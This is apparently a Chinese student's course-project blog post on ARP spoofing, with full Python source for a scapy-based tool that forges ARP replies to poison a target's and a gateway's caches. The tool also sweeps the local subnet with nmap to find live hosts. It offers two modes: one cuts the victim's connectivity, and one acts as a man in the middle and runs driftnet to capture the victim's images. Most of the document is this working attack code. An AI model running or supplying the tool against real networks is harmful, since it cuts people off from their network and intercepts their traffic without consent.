ARP欺骗攻击实战

参考

网络攻防实战–ARP欺骗
这篇对理解整个实验很有帮助,一步步跟着做就能完成不用代码的攻击。

Python scapy实现一个简易arp攻击脚本

知识点

用命令行传递参数:argparse

https://blog.csdn.net/tumi678/article/details/80507609

程序暂停

如何让程序实现“按任意键继续这个功能?”
raw_input("按任意键继续") 这个就可以简单实现
input("按任意键继续")当然这个也可以,但是他要求输入整数,所以你如果输的不是整数,程序可能会出现报错。
所以这哪里是按任意键继续啊!

字符的时候可以用raw_input(),当然不怕麻烦也可以用input()手动加’’
int类型的时候最好用input()

搞了好一会才知道为啥报错,所以还是用raw_input()比较舒服,回车就ok了。

具体程序分析在我的课设word中,这里只写一部分

代码思路

4 代码
4.1 代码思路
4.1.1 如何发包
利用scapy模块构造应答包,来攻击目标主机。为进一步扩展程序,可以写一段代码,在攻击前扫描局域网内所以存活的主机,来确定攻击对象。
4.1.2 如何实现抓图嗅探功能
可以使用subprocess模块来调用别的程序,完成抓图嗅探功能。
4.1.3 如何设计图形化界面
可以使用一个简单的模块easygui。同时使用图形化界面也能完成传参,接收用户输入的攻击对象ip地址等信息。也能通过这个图形化界面来提示一些攻击信息。
4.1.4 打包程序后,没有终端交互,如何终止程序
使用subprocess模块,同时运行一个终端窗口,等待用户操作,并且创建一个flag文件,用于标记用户是否点击“终止”。
4.2 主程序代码
4.2.1 导入模块部分代码

如图导入了一下需要的模块:
4.2.1.1 sys
sys用来防止遇到中文时发生的错误。
4.2.1.2 easygui
这个是用来完成图形化界面的一个模块。比较简单。
4.2.1.3 argparse
用于解析命令行参数和选项的标准模块。
但实际上,我们的参数后面已经改成用easygui模块的图形化界面来进行传递。
4.2.1.4 threading
threading模块是Python里面常用的线程模块,多线程处理任务对于提升效率非常重要。
threading 模块中最核心的内容是Thread这个类。
我们在后面也是使用这个模块多多线程发包的。
4.2.1.5 time
time模块是python专门用来处理时间的内建库。这个模块非常常用。
4.2.1.6 subprocess
允许使用者创建一个新的进程让其执行另外的程序,并与它进行通信,获取标准的输入、标准输出、标准错误以及返回码等。
我们就是使用这个模块达到执行其他程序的目的。
4.2.1.7 os
os模块提供了多数操作系统的功能接口函数。当os模块被导入后,它会自适应于不同的操作系统平台,根据不同的平台进行相应的操作,在python编程时,经常和文件、目录打交道,所以离不了os模块。python编程时,经常和文件、目录打交道,这是就离不了os模块,本节内容将对os模块提供的函数进行详细的解读。
我们就是利用这个模块,操作文件。
4.2.1.8 scapy
scapy是一个可以让用户发送、侦听和解析并伪装网络报文的Python程序。这些功能可以用于制作侦测、扫描和攻击网络的工具。
换言之,Scapy 是一个强大的操纵报文的交互程序。它可以伪造或者解析多种协议的报文,还具有发送、捕获、匹配请求和响应这些报文以及更多的功能。Scapy 可以轻松地做到像扫描(scanning)、路由跟踪(tracerouting)、探测(probing)、单元测试(unit tests)、攻击(attacks)和发现网络(network discorvery)这样的传统任务。它可以代替hping,arpspoof,arp-sk,arping,p0f 甚至是部分的Namp,tcpdump和tshark的功能。
这个模块可以说是ARP欺骗的精髓。利用这个模块实现发送响应报文。
如:
Ether用来构建以太网数据包
ARP是构建ARP数据包的类
sendp方法在第二层发送数据包
getmacbyip方法用于通过ip获取mac地址
get_if_hwaddr方法获取指定网卡的mac地址
4.2.2 函数定义部分

4.2.2.1 get_mac(tgt_ip):
get_mac(tgt_ip):
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
4.2.2.2 create_arp_station与create_arp_gateway
create_arp_station(伪造计算机)和create_arp_gateway (伪造网关) :
生成ARP数据包,伪造目标计算机欺骗网关
src_mac:本机的MAC地址,充当中间人
gateway_mac:网关的MAC
tgt_ip:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gateway_ip:网关的IP
op=is-at,表示ARP响应
4.2.3 部分图形化界面设计

这里用到的是easygui模块。这里面有一系列函数,例如:enterbox用来实现文本输入的图形化界面;
ccbox用来实现选择界面。
通过这里的几个图形化界面来确定攻击的对象和方式。

根据用户的操作,去实现不同的效果:
如果选择的是断网攻击,就将攻击主机的IP转发功能给关了。
这个功能是由ip_forward的值定的。如果是1就是开启IP转发;如果是0,就是关闭IP转发。
4.2.4 判断程序终止

这里利用subprocess和open操作打开自己创建的flag文件来实现自定义程序终止:
subprocess打开一个自己写的结束窗口,由于是用subprocess.popen,这个窗口的运行是不会阻断主程序运行的。这个窗口运行的同时,主程序在不断发包,控制被攻击主机的ARP缓存表。当用户想停止的时候,点击结束窗口的“finish”按钮,结束程序会改变flag文件的值。while循环的判断语句是finish的值,程序在一开始会将flag置0;而在while循环里,每次都会进行对flag文件的比较,如果flag文件的值发生了改变,那就可以知道用户想停止程序了,此时就会将finish置1,达到退出循环结束程序的目的。
4.2.5 发包部分代码

发包部分用到了threading多线程。通过多线程发包来不断攻击目标主机,控制目标主机的ARP缓存表。
每个Thread对象代表着一个线程,可以通过start()方法,开始运行。
target(): 由run()方法调用的可调用对象。
start():启动线程
join(timeout=None): 阻塞线程,直到执行结束或超时
kwargs: 目标调用的关键字参数的字典
为了方便使用观察,调用time.sleep函数。
time sleep() 函数推迟调用线程的运行,可通过参数secs指秒数,表示进程挂起的时间。

4.3 结束窗口代码

这部分代码就是先前提到的结束窗口部分代码。当用户点击“finish”按钮时就会修改flag文件达到结束程序的目的。
4.4 扫描主机部分代码

这是扫描主机部分的代码。
这里用到了netiface和nmap模块。
4.4.1 def get_gateways
def get_gateways()这个函数调用了netifaces模块的gateways方法。netifaces.gateways()能获取网关的IP地址,方便后面对整个网段的扫描。
4.4.2 def get_ip_lists(ip):
这个函数的作用就是创建一个列表。该列表保存网关所在网段的所有主机ip地址。
4.4.3 main
main函数是扫描程序的主函数。
在主函数中,先调用两个事先定义好的函数:获取网关ip及其所在网段的全部IP地址(ip_lists)。
ret = nmScan.scan(hosts=hosts, arguments=’-sP’)这是这个扫描程序的关键所在。它能对host进行扫描,查看其是否存活。其中,hosts可以是单个IP地址也可以是一整个网段。arguments就是运用什么方式扫描,-sn就是ping扫描。因为我们要扫描整个网段,所以令hosts等于整个网段了。
扫描完成后,ret[‘scan’]保存存活主机及其信息,它是字典形式的,如图

之后用temp_ip_lists保存所有不存活主机。之后删除ip_lists中所有不存活的主机,此时ip_lists中只保存了存活的主机。然后利用ip_lists显示所有存活主机的IP地址。

代码

arp.py(主程序)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
'''
ARP 攻击脚本
对于局域网内通信,运行时,输入双向欺骗目标。

对于局域网内目标和外部通信,运行时输入欺骗目标和网关地址

在ARP欺骗的同时,开启路由转发,既可获取双方通信内容。
'''
import easygui as a
import argparse
import threading
import time
import subprocess
import os


from scapy.all import ARP, Ether, get_if_hwaddr, sendp
from scapy.layers.l2 import getmacbyip


# 注意这里面的几个方法

# Ether用来构建以太网数据包
# ARP是构建ARP数据包的类
# sendp方法在第二层发送数据包
# getmacbyip方法用于通过ip获取mac地址
# get_if_hwaddr方法获取指定网卡的mac地址


def get_mac(tgt_ip):
'''
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
'''
tgt_mac = getmacbyip(tgt_ip)
if tgt_mac is not None:
return tgt_mac
else:
print("无法获取IP为:%s 主机的MAC地址,请检查目标IP是否存活"%tgt_ip)


def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):
'''
生成ARP数据包,伪造网关欺骗目标计算机
src_mac:本机的MAC地址,充当中间人
tgt_mac:目标计算机的MAC
gateway_ip:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
tgt_ip:目标计算机的IP
op=is-at,表示ARP响应
'''
eth = Ether(src=src_mac, dst=tgt_mac)
arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")
pkt = eth / arp
return pkt

def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):
'''
生成ARP数据包,伪造目标计算机欺骗网关
src_mac:本机的MAC地址,充当中间人
gateway_mac:网关的MAC
tgt_ip:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gateway_ip:网关的IP
op=is-at,表示ARP响应
'''
eth = Ether(src=src_mac, dst=gateway_mac)
arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")
pkt = eth / arp
return pkt


def main():
"""
主方法
"""
os.system(r"echo 0 > /root/桌面/ARP欺骗/flag.txt")
os.system(r"python /root/桌面/ARP欺骗/pingscanner.py")#存活主机扫描

h_ip=a.enterbox(msg='请输入目标主机ip', title='ARP欺骗', default=' ', strip=True, image=None, root=None)
way = a.ccbox(msg='选择攻击范围', title='ARP欺骗', choices=('局域网内攻击(破坏局域网内的主机通信)', '攻击网关(使目标不能上网)'), image=None)
if way==1:
g_ip=a.enterbox(msg='请输入另一台主机', title='ARP欺骗', default=' ', strip=True, image=None, root=None)
other="另一台主机"
else:
g_ip=a.enterbox(msg='请输入目标网关', title='ARP欺骗', default=' ', strip=True, image=None, root=None)
other="网关"

method =a.ccbox(msg='选择攻击方式 ', title='ARP欺骗', choices=('ARP断网攻击', 'ARP欺骗并截获图片'), image=None)

tgt_ip = h_ip
gateway_ip = g_ip
interface = "eth0"
if method== 1:
res = os.system(r"echo 0 > /proc/sys/net/ipv4/ip_forward")

else:
res = os.system(r'echo 1 > /proc/sys/net/ipv4/ip_forward')
subprocess.Popen('driftnet -i eth0',shell=True)
#srcmac = args.srcmac
#targetmac = args.targetmac
#gatewaymac = args.gatewaymac

if tgt_ip is None or gateway_ip is None or interface is None:
print(parser.print_help())
exit(0)

tgt_mac = get_mac(tgt_ip)
gateway_mac = get_mac(gateway_ip)
src_mac = get_if_hwaddr(interface)
m='本机MAC地址是:'+ src_mac +'\n'
m+="目标计算机IP地址是:" + tgt_ip +'\n'
m+="目标计算机MAC地址是:" + tgt_mac+'\n'
m+= other+"IP地址是:" + gateway_ip+'\n'
m+= other+"MAC地址是:" + gateway_mac
a.msgbox(msg= m , title= 'ARP欺骗', ok_button='start', image=None, root=None)

pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)
pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)

# 如果不展示发送情况的话下面的语句可以更加简便直接用sendp方法提供的功能循环发送即可,不需要多线程和死循环。
# sendp(pkt_station, inter=1, loop=1)
# sendp(pkt_gateway, inter=1, loop=1)
finish=0
i = 1
with open('/root/桌面/ARP欺骗/flag.txt','r') as f:
before=f.read()

subprocess.Popen('python /root/桌面/ARP欺骗/end.py',shell=True)

##start
while finish ==0:
with open('/root/桌面/ARP欺骗/flag.txt','r') as f:
after=f.read()
if after==before:
before=after
else:

finish=1

t = threading.Thread(
target=sendp,
args=(pkt_station,),
kwargs={'inter':1, 'iface':interface}
)
t.start()
t.join()

print(str(i) + " [*]向目标计算机发送一个ARP欺骗包")

s = threading.Thread(
target=sendp,
args=(pkt_gateway,),
kwargs={'inter':1, 'iface':interface}
)
s.start()
s.join()

print(str(i) + " [*]向"+other+"发送一个ARP欺骗包")
#a.msgbox(msg= str(i) + " [*]向目标计算机发送一个ARP欺骗包"+str(i) + " [*]向"+other+"发送一个ARP欺骗包", title= '', ok_button='开始', image=None, root=None)
i += 1
time.sleep(1)

if __name__ == '__main__':

main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import easygui as a
import netifaces,nmap
def get_gateways():
return netifaces.gateways()['default'][netifaces.AF_INET][0]
def get_ip_lists(ip):
ip_lists = []
for i in range(1, 256):
ip_lists.append('{}{}'.format(ip[:-1], i))
return ip_lists
def main(ip=None):
s='正在扫描局域网中存活的主机'
a.msgbox(msg=s, title= 'ARP欺骗', ok_button='continue', image=None,root=None)
m='网络中的存活主机::'
ip=get_gateways()
ip_lists=get_ip_lists(ip)
nmScan,temp_ip_lists,hosts = nmap.PortScanner(),[],ip[:-1]+'0/24'
ret = nmScan.scan(hosts=hosts, arguments='-sP')
print('扫描时间:'+ret['nmap']['scanstats']['timestr']+'\n命令参数:'+ret['nmap']['command_line'])
for ip in ip_lists:
print('ip地址:'+ip+':')
if ip not in ret['scan']:
temp_ip_lists.append(ip)
print('扫描超时')
else:print('已扫描到主机,主机名:'+ret['scan'][ip]['hostnames'][0]['name'])
print(str(hosts) +' 网络中的存活主机:')
for ip in temp_ip_lists:ip_lists.remove(ip)
for ip in ip_lists:
m+=ip+'\n'
a.msgbox(msg=m , title= 'ARP欺骗', ok_button='start', image=None, root=None)
if __name__ == '__main__':
main()

end.py

1
2
3
4
5
6
7
8
# -*- coding: utf-8 -*-
import easygui
import os

cc =easygui.ccbox(msg='点击finish结束攻击', title='ARP欺骗 ', choices=('continue', 'finish'), image=None)

if cc==0:
os.system(r"echo 1 > /root/桌面/ARP欺骗/flag.txt")

flag.txt

1
1

flag这个文件里写1还是0都可以。因为每次程序运行都会初始化一遍。